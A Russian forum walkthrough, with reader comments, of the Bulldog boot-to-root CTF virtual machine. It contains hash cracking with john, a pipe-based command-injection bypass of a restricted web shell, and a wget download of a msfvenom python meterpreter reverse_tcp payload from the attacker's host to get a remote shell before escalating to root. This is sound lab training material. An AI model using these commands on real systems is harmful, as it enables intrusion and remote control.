CTF CTF: Hack The Bulldog VM

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Привет, Codeby! В этот раз я предлагаю рассмотреть методы решения, в рамках CTF, уязвимой VM Bulldog (Boot2Root Challenge)

1527712377067.png


Скачиваем Bulldog

Атакующая ОС: Kali Linux 2018.2

Импортируем и запускаем (при запуске, VM сообщает, какой адрес получила по DHCP) затем ищем, где запущен web сервер у VM:

1527712421288.png


Код:
nmap –sV –A 192.168.0.110

1527712445012.png


Переходим на web Bulldog:

1527712462738.png


Тут, ничего, заслуживающего внимания я не нашел, подключаем nikto для более подробного анализа сервера:

Код:
nikto –h 192.168.0.110

1527712489880.png


Nikto нашел интересную директорию, зайдем осмотреться:

1527712509386.png


Тут интересен вход в Web Shell, но он доступен аутентифицированным пользователям:

1527712530846.png


И список, тех, с кем можно на эту тему поговорить, этим мы заниматься не будем, а заглянем в исходный код страницы:

1527712542041.png


Отлично, это похоже на хэши паролей, проверим тип одного из этих хэшей:

Код:
hash-identifier

1527712570613.png


Скорее всего, тип хэша SHA – 1. Приступим к его декодированию, для этого используем john с дефолтными настройками:

Код:
john /root/123.txt (тут хэш пароля) –format=RAW-SHA1

1527712651831.png


Имеем в наличии учётные данные пользователя Ник:
  • nick
  • bulldog
Используем их для аутентификации на сервере:

Код:
http://192.168.0.110/admin

1527712688761.png


После успешной авторизации, можно перейти в Web Shell:

Код:
http://192.168.0.110/dev/shell/

1527712722716.png


Шелл настроен таким образом, что выполняются только те команды, список которых нам предоставили. При осмотре были обнаружены интересные моменты, но мы пойдем несколько иным путём.

Итак, для выполнения имеем ограниченный список команд и подсказку, что команды выполняются непосредственно на сервере, от имени пользователя и скорее всего, это не Ник, а jango т.к. он там установлен.

Этих команд достаточно, да и одной вполне, чтобы сделать так…

  • | - конвейер. Передает вывод предыдущей команды на ввод следующей или на вход командного интерпретатора shell. Этот метод часто используется для связывания последовательности команд в единую цепочку.
Конвейеры (еще их называют каналами) - это классический способ взаимодействия процессов, с помощью которого stdout одного процесса перенаправляется на stdin другого. Обычно используется совместно с командами вывода, такими как cat или echo, от которых поток данных поступает в "фильтр" (команда, которая на входе получает данные, преобразует их и обрабатывает).

Полагаю, что будет дальше понятно.

Если мы выполним команду:

Код:
whoami

1527712763275.png


Результат не радужный, но если сделаем:

Код:
pwd | whoami

1527712795674.png


Теперь, все отрабатывает должным образом.

Чтобы избавиться от этого шелла «курильщика» и обзавестись более функциональным, необходимо загрузить полезную нагрузку на сервер, думаю, wget вполне подойдет для этих целей.

Берем FatRat или Msfvenom для генерации полезной нагрузки в формате python (это обязательный момент, т.к. это Django)

Код:
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.110 lport=4444 > /var/www/html/sh.py

Убеждаемся, что на атакующей машине поднят Apache, туда и копируем shell скрипт, чтобы потом, используя wget на Web Shell, загрузить его с нашего сервера и затем запустить, инициируя сессию meterpreter.

1527712862829.png


Настраиваем handler:

1527712875919.png


Этап загрузки shell скрипта:

Код:
pwd | wget http://192.168.0.101:88/sh.py

1527712917044.png


Убеждаемся, что загрузка прошла успешно:

Код:
ls -a

1527712945532.png


Даем права скрипту на запуск:

Код:
pwd | chmod 777 sh.py

Запускаем скрипт:

Код:
python sh.py

1527712998516.png


Результат предсказуем:

1527713010294.png


Используем команду:

Код:
shell

Затем импортируем bash оболочку:

Код:
python -c 'import pty;pty.spawn("/bin/bash")'

1527713061873.png


Переходим в директорию /home/bulldogadmin и смотрим на ее содержимое:

Код:
ls –a

Обнаружив скрытую директорию, переходим в нее:

Код:
cd .hiddenadmindirectory
ls –a

1527713117975.png


Приложение, которое мы там обнаружили, позволит нам в дальнейшем получить root права в системе. Для начала можно посмотреть, что там внутри.

strings — unix-утилита, применяемая для поиска печатаемых строк в двоичных файлах. Она выводит последовательности печатаемых символов, обнаруженных в заданном файле. Может использоваться для визуального анализа дамп-файлов (core dump) или для отыскания информации о типе файла.

Код:
strings customPermissionApp

1527713158745.png


Выделенное мной, напоминает пароль, при запуске этого приложения оно запрашивает пароль пользователя, но мы попробуем этот в качестве универсального.

Для этого переходим в свою директорию, где мы можем запускать файлы, и это приложение в том числе:

Код:
cd /home/jango/bulldog
./customPermissionApp

1527713188465.png


Теперь, мы root, зайдем в свою домашнюю директорию и прочитаем файл:

Код:
cd
cat congrats.txt

1527713218191.png


На этом прохождение Bulldog VM можно считать завершенным.

Спасибо за внимание.
 

Qmakake

Green Team
20.12.2017
88
55
BIT
9
Классные статьи, с нетерпением жду новых, с наслалждением повторяю, то, что вы описали!
Хотелось бы задать пару вопросов: как вы отпределили, что из списак пользователей с хэшами нужно брать nik? как вы ищите директорию, в котороый у вас есть права на запись?
 
  • Нравится
Реакции: Vander

Qmakake

Green Team
20.12.2017
88
55
BIT
9
извиняюсь, поторопился, про nik понял: john пароль только от nik-a нашел))
 
  • Нравится
Реакции: Vander

id2746

Green Team
12.11.2016
435
644
BIT
21
извиняюсь, поторопился, про nik понял: john пароль только от nik-a нашел))
неа, еще восстанавливается пассворд от sarah (см.второй), но сути это не меняет:
Снимок экрана от 2018-09-23 13-46-54.png


Снимок экрана от 2018-09-23 13-47-13.png


Конвейеры (еще их называют каналами) - это классический способ взаимодействия процессов, с помощью которого stdout одного процесса перенаправляется на stdin другого. Обычно используется совместно с командами вывода, такими как cat или echo, от которых поток данных поступает в "фильтр" (команда, которая на входе получает данные, преобразует их и обрабатывает).
вот за это отдельное спасибо )
 
  • Нравится
Реакции: Qmakake и Vertigo

id2746

Green Team
12.11.2016
435
644
BIT
21
Кстати, благодаря контейнерам, сегодня взял флаг юзера одной из машин на htb :)
 
  • Нравится
Реакции: n01n02h и Vander

pp11

Green Team
16.09.2018
201
82
BIT
1
Мне удалось также крякнуть хэш sarah. Его пароль: bulldoglover.
Для этого переходим в свою директорию, где мы можем запускать файлы, и это приложение в том числе:
cd /home/jango/bulldog
./customPermissionApp
Не можем мы его выполнить. Permission denied
Не знаю как вы его открыли, но скопировав в директорию /home/django/bulldog # Почему ты вы на протяжении всей статьи забываете написать букву d
Там его открыть не получается.
 

Rook

Codeby Team
Red Team
09.01.2019
727
718
BIT
4
у меня ctf зависает когда пытаюсь скачать веном, а после обновления страницы, оно числется в ls , но при запуске скрипта, пишется server error
 

ROP

Red Team
27.08.2019
327
663
BIT
149
Спасибо, Vander за прохождение этой машины.
Было интересно читать и проходить.
Bulldog VM - звучит круто (y)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!